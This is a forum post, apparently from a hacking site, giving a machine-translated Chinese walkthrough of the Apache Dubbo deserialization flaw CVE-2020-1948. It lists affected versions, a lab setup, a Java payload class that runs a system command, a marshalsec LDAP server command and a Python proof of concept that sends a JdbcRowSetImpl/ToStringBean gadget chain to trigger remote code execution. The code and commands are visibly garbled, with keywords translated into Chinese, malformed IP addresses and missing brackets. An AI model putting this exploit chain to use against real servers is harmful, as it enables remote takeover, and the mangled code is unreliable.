H

Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)​

Apache Dubbo提供商具有绝对的漏洞。攻击者可以通过RPC请求发送未识别的服务名称或方法名称以及一些恶意参数有效载荷。当恶意参数被估算时,可能会导致远程代码执行。

影响版本​

Dubbo 2.7.0-2.7.6
Dubbo 2.6.0-2.6.7
Dubbo 2.5.x(不再正式维护)

环境搭建​

繁殖环境:
苹果
Dubbo 2.5.9
JDK 8U20
环境下载地址:
将下载的环境导入想法:
20200702085332.png-water_print

在Mac下安装Zookeeper:
1
2
酿造安装Zookeeper
酿造服务开始Zookeeper
修改provider.java文件,并指定Spring如何加载配置文件:
classPathxmlapplicationContext context=new ClassPathxmlapplicationContext('File:/卷/卷/macos/workspace/java/dubbo-poc/dubbomodules/src/src/resources/provider.xml');
修改consumer.java文件,并指定弹簧如何加载配置文件:
classPathxmlapplicationContext context=new ClassPathxmlapplicationContext('File:/卷/卷/Macos/workspace/java/dubbo-poc/dubboconsumer/resources/resources/consumper/consumer.xml');
Run Provider.java:
20200702085823.png-water_print

编译ExportObject.java
1
2
3
4
5
6
7
8
9
10
11
12
13
公共类ExportObject {
public exportObject()抛出异常{
尝试{
java.lang.runtime.getRuntime()。exec('open/system/applications/calculator.app');
} catch(java.io.ioexception e){
e.printstacktrace();
}
}
public static void main(string [] args)抛出异常{
ExportObject E=new ExportObject();
}
}
1
Javac ExportObject.java
注意:您必须使用相同版本或较低版本的JDK进行编译,否则避免化将失败。
启动LDAP服务:
1
JAVA -CP MARSHALSEC-0.0.3-SNAPSHOT-ALL.JAR MARSHALSEC.JNDI.LDAPREFSERVER'3http://127.0.0.0.1:8000/#EXTORTOBJECT'80877877
20200702090230.png-water_print

启动HTTP服务:
1
Python3 -M http.Server
20200702090353.png-water_print

运行消费者。
20200702090516.png-water_print

发现计算器可以成功弹出。
使用POC测试:
PIP安装Dubbo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
来自dubbo.codec.hessian2导入解码器,new_object
来自dubbo.client Import dubboclient
客户端=dubboclient('127.0.0.1',20881)
jdbcrowsetimpl=new_object(
'com.sun.rowset.jdbcrowsetimpl',
dataSource='ldap: //127.0.0.0.1:8087/#exportObject',
strmatchcolumns=['foo']

jdbcrowsetimplclass=new_object(
'java.lang.class',
name='com.sun.rowset.jdbcrowsetimpl',

tostringbean=new_object(
'com.rometooms.rome.feed.impl.tostringbean',
BeanClass=JDBCrowsetImplclass,
obj=jdbcrowsetimpl

RESS=client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.demo.consumer.demoservice',
method_name='rce',
args=[tostringbean])
 
后退
顶部